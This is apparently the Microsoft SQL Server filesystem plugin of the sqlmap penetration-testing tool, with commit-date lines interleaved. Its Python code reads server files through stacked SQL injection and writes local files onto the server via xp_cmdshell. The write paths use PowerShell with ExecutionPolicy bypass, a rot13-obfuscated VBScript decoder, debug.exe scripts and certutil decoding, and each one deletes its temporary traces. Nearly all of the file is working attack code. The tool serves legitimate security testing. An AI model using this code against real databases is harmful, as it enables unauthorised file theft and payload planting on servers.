2019-05-08 12:47:52 +02:00
#!/usr/bin/env python
2010-03-22 22:57:57 +00:00
"""
2026-01-01 19:12:07 +01:00
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
2017-10-11 14:50:46 +02:00
See the file ' LICENSE ' for copying permission
2010-03-22 22:57:57 +00:00
"""
2025-12-31 10:21:53 +01:00
import codecs
2010-04-23 16:34:20 +00:00
import ntpath
2010-03-22 22:57:57 +00:00
import os
2021-01-19 12:32:32 +01:00
from lib . core . common import checkFile
2012-02-16 14:42:28 +00:00
from lib . core . common import getLimitRange
2010-12-17 21:45:20 +00:00
from lib . core . common import isNumPosStrValue
2011-01-12 01:13:32 +00:00
from lib . core . common import isTechniqueAvailable
2010-03-22 22:57:57 +00:00
from lib . core . common import posixToNtSlashes
from lib . core . common import randomStr
2012-04-25 07:40:42 +00:00
from lib . core . common import readInput
2019-03-28 16:04:38 +01:00
from lib . core . compat import xrange
2019-05-03 13:20:15 +02:00
from lib . core . convert import encodeBase64
from lib . core . convert import encodeHex
2010-03-22 22:57:57 +00:00
from lib . core . data import conf
2019-06-27 17:28:43 +02:00
from lib . core . data import kb
2010-03-22 22:57:57 +00:00
from lib . core . data import logger
2012-02-29 14:36:23 +00:00
from lib . core . enums import CHARSET_TYPE
2012-04-04 09:25:05 +00:00
from lib . core . enums import EXPECTED
2011-01-15 10:14:05 +00:00
from lib . core . enums import PAYLOAD
2012-12-06 14:14:19 +01:00
from lib . core . exception import SqlmapNoneDataException
from lib . core . exception import SqlmapUnsupportedFeatureException
2010-03-22 22:57:57 +00:00
from lib . request import inject
from plugins . generic . filesystem import Filesystem as GenericFilesystem
class Filesystem ( GenericFilesystem ) :
2012-12-06 14:14:19 +01:00
def _dataToScr ( self , fileContent , chunkName ) :
2012-04-25 07:40:42 +00:00
fileLines = [ ]
fileSize = len ( fileContent )
lineAddr = 0x100
lineLen = 20
fileLines . append ( " n %s " % chunkName )
fileLines . append ( " rcx " )
fileLines . append ( " %x " % fileSize )
fileLines . append ( " f 0100 %x 00 " % fileSize )
for fileLine in xrange ( 0 , len ( fileContent ) , lineLen ) :
scrString = " "
2013-01-10 13:18:44 +01:00
for lineChar in fileContent [ fileLine : fileLine + lineLen ] :
2019-05-03 13:20:15 +02:00
strLineChar = encodeHex ( lineChar , binary = False )
2012-04-25 07:40:42 +00:00
if not scrString :
scrString = " e %x %s " % ( lineAddr , strLineChar )
else :
scrString + = " %s " % strLineChar
2019-07-08 11:53:19 +02:00
lineAddr + = len ( strLineChar ) / / 2
2012-04-25 07:40:42 +00:00
fileLines . append ( scrString )
fileLines . append ( " w " )
fileLines . append ( " q " )
return fileLines
2012-12-06 14:14:19 +01:00
def _updateDestChunk ( self , fileContent , tmpPath ) :
2012-04-25 07:40:42 +00:00
randScr = " tmpf %s .scr " % randomStr ( lowercase = True )
chunkName = randomStr ( lowercase = True )
2012-12-06 14:14:19 +01:00
fileScrLines = self . _dataToScr ( fileContent , chunkName )
2012-04-25 07:40:42 +00:00
2018-07-27 00:30:30 +02:00
logger . debug ( " uploading debug script to %s \\ %s , please wait.. " % ( tmpPath , randScr ) )
2012-04-25 07:40:42 +00:00
self . xpCmdshellWriteFile ( fileScrLines , tmpPath , randScr )
2018-07-27 00:30:30 +02:00
logger . debug ( " generating chunk file %s \\ %s from debug script %s " % ( tmpPath , chunkName , randScr ) )
2012-04-25 07:40:42 +00:00
2018-03-13 13:45:42 +01:00
commands = (
" cd \" %s \" " % tmpPath ,
" debug < %s " % randScr ,
" del /F /Q %s " % randScr
)
2012-04-25 07:40:42 +00:00
2018-03-13 13:45:42 +01:00
self . execCmd ( " & " . join ( command for command in commands ) )
2012-04-25 07:40:42 +00:00
return chunkName
2019-06-03 10:41:51 +02:00
def stackedReadFile ( self , remoteFile ) :
2019-06-27 17:28:43 +02:00
if not kb . bruteMode :
infoMsg = " fetching file: ' %s ' " % remoteFile
logger . info ( infoMsg )
2010-03-22 22:57:57 +00:00
result = [ ]
txtTbl = self . fileTblName
2019-06-28 13:56:48 +02:00
hexTbl = " %s %s hex " % ( self . fileTblName , randomStr ( ) )
2010-03-22 22:57:57 +00:00
self . createSupportTbl ( txtTbl , self . tblField , " text " )
inject . goStacked ( " DROP TABLE %s " % hexTbl )
inject . goStacked ( " CREATE TABLE %s (id INT IDENTITY(1, 1) PRIMARY KEY, %s %s ) " % ( hexTbl , self . tblField , " VARCHAR(4096) " ) )
2019-06-03 10:41:51 +02:00
logger . debug ( " loading the content of file ' %s ' into support table " % remoteFile )
inject . goStacked ( " BULK INSERT %s FROM ' %s ' WITH (CODEPAGE= ' RAW ' , FIELDTERMINATOR= ' %s ' , ROWTERMINATOR= ' %s ' ) " % ( txtTbl , remoteFile , randomStr ( 10 ) , randomStr ( 10 ) ) , silent = True )
2010-03-22 22:57:57 +00:00
2019-05-09 16:22:18 +02:00
# Reference: https://web.archive.org/web/20120211184457/http://support.microsoft.com/kb/104829
2012-02-17 15:16:05 +00:00
binToHexQuery = """ DECLARE @charset VARCHAR(16)
2010-03-22 22:57:57 +00:00
DECLARE @counter INT
DECLARE @hexstr VARCHAR(4096)
DECLARE @length INT
DECLARE @chunk INT
SET @charset = ' 0123456789ABCDEF '
SET @counter = 1
SET @hexstr = ' '
SET @length = (SELECT DATALENGTH( %s ) FROM %s )
SET @chunk = 1024
WHILE (@counter <= @length)
BEGIN
DECLARE @tempint INT
DECLARE @firstint INT
DECLARE @secondint INT
SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING( %s , @counter, 1)) FROM %s ))
SET @firstint = floor(@tempint/16)
SET @secondint = @tempint - (@firstint * 16)
SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1)
SET @counter = @counter + 1
IF @counter %% @chunk = 0
BEGIN
INSERT INTO %s ( %s ) VALUES(@hexstr)
SET @hexstr = ' '
END
END
IF @counter %% (@chunk) != 0
BEGIN
INSERT INTO %s ( %s ) VALUES(@hexstr)
END
""" % ( self . tblField , txtTbl , self . tblField , txtTbl , hexTbl , self . tblField , hexTbl , self . tblField )
binToHexQuery = binToHexQuery . replace ( " " , " " ) . replace ( " \n " , " " )
inject . goStacked ( binToHexQuery )
2011-01-12 01:13:32 +00:00
if isTechniqueAvailable ( PAYLOAD . TECHNIQUE . UNION ) :
2012-10-27 23:16:25 +02:00
result = inject . getValue ( " SELECT %s FROM %s ORDER BY id ASC " % ( self . tblField , hexTbl ) , resumeValue = False , blind = False , time = False , error = False )
2010-03-22 22:57:57 +00:00
if not result :
result = [ ]
2012-04-04 09:25:05 +00:00
count = inject . getValue ( " SELECT COUNT(*) FROM %s " % ( hexTbl ) , resumeValue = False , expected = EXPECTED . INT , charsetType = CHARSET_TYPE . DIGITS )
2010-03-22 22:57:57 +00:00
2010-12-17 21:45:20 +00:00
if not isNumPosStrValue ( count ) :
2011-04-30 13:20:05 +00:00
errMsg = " unable to retrieve the content of the "
2019-06-03 10:41:51 +02:00
errMsg + = " file ' %s ' " % remoteFile
2012-12-06 14:14:19 +01:00
raise SqlmapNoneDataException ( errMsg )
2010-03-22 22:57:57 +00:00
2012-02-16 14:42:28 +00:00
indexRange = getLimitRange ( count )
2010-03-22 22:57:57 +00:00
for index in indexRange :
2012-06-15 20:41:53 +00:00
chunk = inject . getValue ( " SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC " % ( self . tblField , hexTbl , self . tblField , index , self . tblField , hexTbl ) , unpack = False , resumeValue = False , charsetType = CHARSET_TYPE . HEXADECIMAL )
2010-03-22 22:57:57 +00:00
result . append ( chunk )
inject . goStacked ( " DROP TABLE %s " % hexTbl )
return result
2019-06-03 10:41:51 +02:00
def unionWriteFile ( self , localFile , remoteFile , fileType , forceCheck = False ) :
2011-04-30 13:20:05 +00:00
errMsg = " Microsoft SQL Server does not support file upload with "
2010-03-22 22:57:57 +00:00
errMsg + = " UNION query SQL injection technique "
2012-12-06 14:14:19 +01:00
raise SqlmapUnsupportedFeatureException ( errMsg )
2010-03-22 22:57:57 +00:00
2019-06-03 10:41:51 +02:00
def _stackedWriteFilePS ( self , tmpPath , localFileContent , remoteFile , fileType ) :
2012-04-25 07:40:42 +00:00
infoMsg = " using PowerShell to write the %s file content " % fileType
2019-06-03 10:41:51 +02:00
infoMsg + = " to file ' %s ' " % remoteFile
2012-04-25 07:40:42 +00:00
logger . info ( infoMsg )
2010-03-22 22:57:57 +00:00
2019-06-03 10:41:51 +02:00
encodedFileContent = encodeBase64 ( localFileContent , binary = False )
2014-06-30 23:53:04 +01:00
encodedBase64File = " tmpf %s .txt " % randomStr ( lowercase = True )
2018-07-27 00:30:30 +02:00
encodedBase64FilePath = " %s \\ %s " % ( tmpPath , encodedBase64File )
2014-06-30 23:53:04 +01:00
2014-07-01 00:26:59 +01:00
randPSScript = " tmpps %s .ps1 " % randomStr ( lowercase = True )
2018-07-27 00:30:30 +02:00
randPSScriptPath = " %s \\ %s " % ( tmpPath , randPSScript )
2014-06-30 18:26:40 +01:00
2019-06-03 10:41:51 +02:00
localFileSize = len ( encodedFileContent )
2014-06-30 23:53:04 +01:00
chunkMaxSize = 1024
logger . debug ( " uploading the base64-encoded file to %s , please wait.. " % encodedBase64FilePath )
2012-04-25 07:40:42 +00:00
2019-06-03 10:41:51 +02:00
for i in xrange ( 0 , localFileSize , chunkMaxSize ) :
2014-06-30 23:53:04 +01:00
wEncodedChunk = encodedFileContent [ i : i + chunkMaxSize ]
self . xpCmdshellWriteFile ( wEncodedChunk , tmpPath , encodedBase64File )
2014-07-01 00:26:59 +01:00
psString = " $Base64 = Get-Content -Path \" %s \" ; " % encodedBase64FilePath
psString + = " $Base64 = $Base64 -replace \" `t|`n|`r \" , \" \" ; $Content = "
2014-06-30 23:53:04 +01:00
psString + = " [System.Convert]::FromBase64String($Base64); Set-Content "
2019-06-03 10:41:51 +02:00
psString + = " -Path \" %s \" -Value $Content -Encoding Byte " % remoteFile
2014-06-30 23:53:04 +01:00
2014-07-01 00:35:02 +01:00
logger . debug ( " uploading the PowerShell base64-decoding script to %s " % randPSScriptPath )
2014-06-30 18:38:18 +01:00
self . xpCmdshellWriteFile ( psString , tmpPath , randPSScript )
2012-04-25 07:40:42 +00:00
2019-06-03 10:41:51 +02:00
logger . debug ( " executing the PowerShell base64-decoding script to write the %s file, please wait.. " % remoteFile )
2014-06-30 20:43:02 +01:00
2018-03-13 13:45:42 +01:00
commands = (
" powershell -ExecutionPolicy ByPass -File \" %s \" " % randPSScriptPath ,
" del /F /Q \" %s \" " % encodedBase64FilePath ,
" del /F /Q \" %s \" " % randPSScriptPath
)
2014-06-30 20:43:02 +01:00
2018-03-13 13:45:42 +01:00
self . execCmd ( " & " . join ( command for command in commands ) )
2012-04-25 07:40:42 +00:00
2019-06-03 10:41:51 +02:00
def _stackedWriteFileDebugExe ( self , tmpPath , localFile , localFileContent , remoteFile , fileType ) :
2012-04-25 07:40:42 +00:00
infoMsg = " using debug.exe to write the %s " % fileType
2019-06-03 10:41:51 +02:00
infoMsg + = " file content to file ' %s ' , please wait.. " % remoteFile
2012-04-25 07:40:42 +00:00
logger . info ( infoMsg )
2010-03-22 22:57:57 +00:00
2019-06-03 10:41:51 +02:00
remoteFileName = ntpath . basename ( remoteFile )
sFile = " %s \\ %s " % ( tmpPath , remoteFileName )
localFileSize = os . path . getsize ( localFile )
2012-04-25 07:40:42 +00:00
debugSize = 0xFF00
2010-03-22 22:57:57 +00:00
2019-06-03 10:41:51 +02:00
if localFileSize < debugSize :
chunkName = self . _updateDestChunk ( localFileContent , tmpPath )
2010-03-22 22:57:57 +00:00
2018-07-27 00:30:30 +02:00
debugMsg = " renaming chunk file %s \\ %s to %s " % ( tmpPath , chunkName , fileType )
2019-06-03 10:41:51 +02:00
debugMsg + = " file %s \\ %s and moving it to %s " % ( tmpPath , remoteFileName , remoteFile )
2012-04-25 07:40:42 +00:00
logger . debug ( debugMsg )
2010-03-22 22:57:57 +00:00
2018-03-13 13:45:42 +01:00
commands = (
" cd \" %s \" " % tmpPath ,
2019-06-03 10:41:51 +02:00
" ren %s %s " % ( chunkName , remoteFileName ) ,
" move /Y %s %s " % ( remoteFileName , remoteFile )
2018-03-13 13:45:42 +01:00
)
2010-03-22 22:57:57 +00:00
2018-03-13 13:45:42 +01:00
self . execCmd ( " & " . join ( command for command in commands ) )
2010-03-22 22:57:57 +00:00
else :
2012-04-25 07:40:42 +00:00
debugMsg = " the file is larger than %d bytes. " % debugSize
debugMsg + = " sqlmap will split it into chunks locally, upload "
debugMsg + = " it chunk by chunk and recreate the original file "
debugMsg + = " on the server, please wait.. "
logger . debug ( debugMsg )
2010-03-22 22:57:57 +00:00
2019-06-03 10:41:51 +02:00
for i in xrange ( 0 , localFileSize , debugSize ) :
localFileChunk = localFileContent [ i : i + debugSize ]
chunkName = self . _updateDestChunk ( localFileChunk , tmpPath )
2010-03-22 22:57:57 +00:00
if i == 0 :
2012-04-25 07:40:42 +00:00
debugMsg = " renaming chunk "
2019-06-03 10:41:51 +02:00
copyCmd = " ren %s %s " % ( chunkName , remoteFileName )
2010-03-22 22:57:57 +00:00
else :
2012-04-25 07:40:42 +00:00
debugMsg = " appending chunk "
2019-06-03 10:41:51 +02:00
copyCmd = " copy /B /Y %s + %s %s " % ( remoteFileName , chunkName , remoteFileName )
2010-03-22 22:57:57 +00:00
2019-06-03 10:41:51 +02:00
debugMsg + = " %s \\ %s to %s file %s \\ %s " % ( tmpPath , chunkName , fileType , tmpPath , remoteFileName )
2012-04-25 07:40:42 +00:00
logger . debug ( debugMsg )
2010-03-22 22:57:57 +00:00
2018-03-13 13:45:42 +01:00
commands = (
" cd \" %s \" " % tmpPath ,
copyCmd ,
" del /F /Q %s " % chunkName
)
2010-03-22 22:57:57 +00:00
2018-03-13 13:45:42 +01:00
self . execCmd ( " & " . join ( command for command in commands ) )
2010-03-22 22:57:57 +00:00
2019-06-03 10:41:51 +02:00
logger . debug ( " moving %s file %s to %s " % ( fileType , sFile , remoteFile ) )
2010-03-22 22:57:57 +00:00
2018-03-13 13:45:42 +01:00
commands = (
" cd \" %s \" " % tmpPath ,
2019-06-03 10:41:51 +02:00
" move /Y %s %s " % ( remoteFileName , remoteFile )
2018-03-13 13:45:42 +01:00
)
2010-03-22 22:57:57 +00:00
2018-03-13 13:45:42 +01:00
self . execCmd ( " & " . join ( command for command in commands ) )
2010-03-22 22:57:57 +00:00
2019-06-03 10:41:51 +02:00
def _stackedWriteFileVbs ( self , tmpPath , localFileContent , remoteFile , fileType ) :
2012-04-25 07:40:42 +00:00
infoMsg = " using a custom visual basic script to write the "
2019-06-03 10:41:51 +02:00
infoMsg + = " %s file content to file ' %s ' , please wait.. " % ( fileType , remoteFile )
2012-04-25 07:40:42 +00:00
logger . info ( infoMsg )
randVbs = " tmps %s .vbs " % randomStr ( lowercase = True )
randFile = " tmpf %s .txt " % randomStr ( lowercase = True )
2018-07-27 00:30:30 +02:00
randFilePath = " %s \\ %s " % ( tmpPath , randFile )
2012-04-25 07:40:42 +00:00
2023-12-13 14:12:17 +01:00
vbs = """ Qvz vachgSvyrCngu, bhgchgSvyrCngu
vachgSvyrCngu = " %f "
bhgchgSvyrCngu = " %f "
Frg sf = PerngrBowrpg( " Fpevcgvat.SvyrFlfgrzBowrpg " )
Frg svyr = sf.TrgSvyr(vachgSvyrCngu)
Vs svyr.Fvmr Gura
Jfpevcg.Rpub " Ybnqvat sebz: " & vachgSvyrCngu
Jfpevcg.Rpub
Frg sq = sf.BcraGrkgSvyr(vachgSvyrCngu, 1)
qngn = sq.ErnqNyy
sq.Pybfr
qngn = Ercynpr(qngn, " " , " " )
qngn = Ercynpr(qngn, ioPe, " " )
qngn = Ercynpr(qngn, ioYs, " " )
Jfpevcg.Rpub " Svkrq Vachg: "
Jfpevcg.Rpub qngn
Jfpevcg.Rpub
qrpbqrqQngn = onfr64_qrpbqr(qngn)
Jfpevcg.Rpub " Bhgchg: "
Jfpevcg.Rpub qrpbqrqQngn
Jfpevcg.Rpub
Jfpevcg.Rpub " Jevgvat bhgchg va: " & bhgchgSvyrCngu
Jfpevcg.Rpub
Frg bsf = PerngrBowrpg( " Fpevcgvat.SvyrFlfgrzBowrpg " ).BcraGrkgSvyr(bhgchgSvyrCngu, 2, Gehr)
bsf.Jevgr qrpbqrqQngn
bsf.pybfr
Ryfr
Jfpevcg.Rpub " Gur svyr vf rzcgl. "
Raq Vs
Shapgvba onfr64_qrpbqr(olIny fgeVa)
Qvz j1, j2, j3, j4, a, fgeBhg
Sbe a = 1 Gb Yra(fgeVa) Fgrc 4
j1 = zvzrqrpbqr(Zvq(fgeVa, a, 1))
j2 = zvzrqrpbqr(Zvq(fgeVa, a + 1, 1))
j3 = zvzrqrpbqr(Zvq(fgeVa, a + 2, 1))
j4 = zvzrqrpbqr(Zvq(fgeVa, a + 3, 1))
Vs Abg j2 Gura _
fgeBhg = fgeBhg + Pue(((j1 * 4 + Vag(j2 / 16)) Naq 255))
Vs Abg j3 Gura _
fgeBhg = fgeBhg + Pue(((j2 * 16 + Vag(j3 / 4)) Naq 255))
Vs Abg j4 Gura _
fgeBhg = fgeBhg + Pue(((j3 * 64 + j4) Naq 255))
Arkg
onfr64_qrpbqr = fgeBhg
Raq Shapgvba
Shapgvba zvzrqrpbqr(olIny fgeVa)
Onfr64Punef = " NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm0123456789+/ "
Vs Yra(fgeVa) = 0 Gura
zvzrqrpbqr = -1 : Rkvg Shapgvba
Ryfr
zvzrqrpbqr = VaFge(Onfr64Punef, fgeVa) - 1
Raq Vs
Raq Shapgvba """
# NOTE: https://github.com/sqlmapproject/sqlmap/issues/5581
2025-12-31 10:21:53 +01:00
vbs = codecs . decode ( vbs , " rot13 " )
2012-04-25 07:40:42 +00:00
vbs = vbs . replace ( " " , " " )
2019-06-03 10:41:51 +02:00
encodedFileContent = encodeBase64 ( localFileContent , binary = False )
2012-04-25 07:40:42 +00:00
logger . debug ( " uploading the file base64-encoded content to %s , please wait.. " % randFilePath )
self . xpCmdshellWriteFile ( encodedFileContent , tmpPath , randFile )
2018-07-27 00:30:30 +02:00
logger . debug ( " uploading a visual basic decoder stub %s \\ %s , please wait.. " % ( tmpPath , randVbs ) )
2012-04-25 07:40:42 +00:00
self . xpCmdshellWriteFile ( vbs , tmpPath , randVbs )
2018-03-13 13:45:42 +01:00
commands = (
" cd \" %s \" " % tmpPath ,
" cscript //nologo %s " % randVbs ,
" del /F /Q %s " % randVbs ,
" del /F /Q %s " % randFile
)
2012-04-25 07:40:42 +00:00
2018-03-13 13:45:42 +01:00
self . execCmd ( " & " . join ( command for command in commands ) )
2012-04-25 07:40:42 +00:00
2019-06-03 10:41:51 +02:00
def _stackedWriteFileCertutilExe ( self , tmpPath , localFile , localFileContent , remoteFile , fileType ) :
2015-04-22 17:21:55 +02:00
infoMsg = " using certutil.exe to write the %s " % fileType
2019-06-03 10:41:51 +02:00
infoMsg + = " file content to file ' %s ' , please wait.. " % remoteFile
2015-04-22 17:21:55 +02:00
logger . info ( infoMsg )
chunkMaxSize = 500
randFile = " tmpf %s .txt " % randomStr ( lowercase = True )
2018-07-27 00:30:30 +02:00
randFilePath = " %s \\ %s " % ( tmpPath , randFile )
2015-04-22 17:21:55 +02:00
2019-06-03 10:41:51 +02:00
encodedFileContent = encodeBase64 ( localFileContent , binary = False )
2015-04-22 17:21:55 +02:00
2018-03-13 13:45:42 +01:00
splittedEncodedFileContent = ' \n ' . join ( [ encodedFileContent [ i : i + chunkMaxSize ] for i in xrange ( 0 , len ( encodedFileContent ) , chunkMaxSize ) ] )
2015-04-22 17:21:55 +02:00
logger . debug ( " uploading the file base64-encoded content to %s , please wait.. " % randFilePath )
self . xpCmdshellWriteFile ( splittedEncodedFileContent , tmpPath , randFile )
2019-06-03 10:41:51 +02:00
logger . debug ( " decoding the file to %s .. " % remoteFile )
2015-04-22 17:21:55 +02:00
2018-03-13 13:45:42 +01:00
commands = (
" cd \" %s \" " % tmpPath ,
2019-06-03 10:41:51 +02:00
" certutil -f -decode %s %s " % ( randFile , remoteFile ) ,
2018-03-13 13:45:42 +01:00
" del /F /Q %s " % randFile
)
2015-04-22 17:21:55 +02:00
2018-03-13 13:45:42 +01:00
self . execCmd ( " & " . join ( command for command in commands ) )
2015-04-22 17:21:55 +02:00
2019-06-03 10:41:51 +02:00
def stackedWriteFile ( self , localFile , remoteFile , fileType , forceCheck = False ) :
2012-04-25 07:40:42 +00:00
# NOTE: this is needed here because we use xp_cmdshell extended
# procedure to write a file on the back-end Microsoft SQL Server
# file system
self . initEnv ( )
self . getRemoteTempPath ( )
tmpPath = posixToNtSlashes ( conf . tmpPath )
2019-06-03 10:41:51 +02:00
remoteFile = posixToNtSlashes ( remoteFile )
2021-01-19 12:32:32 +01:00
checkFile ( localFile )
localFileContent = open ( localFile , " rb " ) . read ( )
2012-04-25 07:40:42 +00:00
2019-06-03 10:41:51 +02:00
self . _stackedWriteFilePS ( tmpPath , localFileContent , remoteFile , fileType )
written = self . askCheckWrittenFile ( localFile , remoteFile , forceCheck )
2012-04-25 07:40:42 +00:00
2013-01-23 01:27:01 +00:00
if written is False :
2012-04-25 07:40:42 +00:00
message = " do you want to try to upload the file with "
2014-06-30 19:11:01 +01:00
message + = " the custom Visual Basic script technique? [Y/n] "
2014-06-30 18:06:19 +01:00
2017-04-18 15:48:05 +02:00
if readInput ( message , default = ' Y ' , boolean = True ) :
2019-06-03 10:41:51 +02:00
self . _stackedWriteFileVbs ( tmpPath , localFileContent , remoteFile , fileType )
written = self . askCheckWrittenFile ( localFile , remoteFile , forceCheck )
2014-06-30 18:06:19 +01:00
if written is False :
message = " do you want to try to upload the file with "
2014-06-30 19:11:01 +01:00
message + = " the built-in debug.exe technique? [Y/n] "
2012-04-25 07:40:42 +00:00
2017-04-18 15:48:05 +02:00
if readInput ( message , default = ' Y ' , boolean = True ) :
2019-06-03 10:41:51 +02:00
self . _stackedWriteFileDebugExe ( tmpPath , localFile , localFileContent , remoteFile , fileType )
written = self . askCheckWrittenFile ( localFile , remoteFile , forceCheck )
2013-01-23 01:27:01 +00:00
2015-04-22 17:21:55 +02:00
if written is False :
message = " do you want to try to upload the file with "
message + = " the built-in certutil.exe technique? [Y/n] "
2017-04-18 15:48:05 +02:00
if readInput ( message , default = ' Y ' , boolean = True ) :
2019-06-03 10:41:51 +02:00
self . _stackedWriteFileCertutilExe ( tmpPath , localFile , localFileContent , remoteFile , fileType )
written = self . askCheckWrittenFile ( localFile , remoteFile , forceCheck )
2015-04-22 17:21:55 +02:00
2013-01-23 01:27:01 +00:00
return written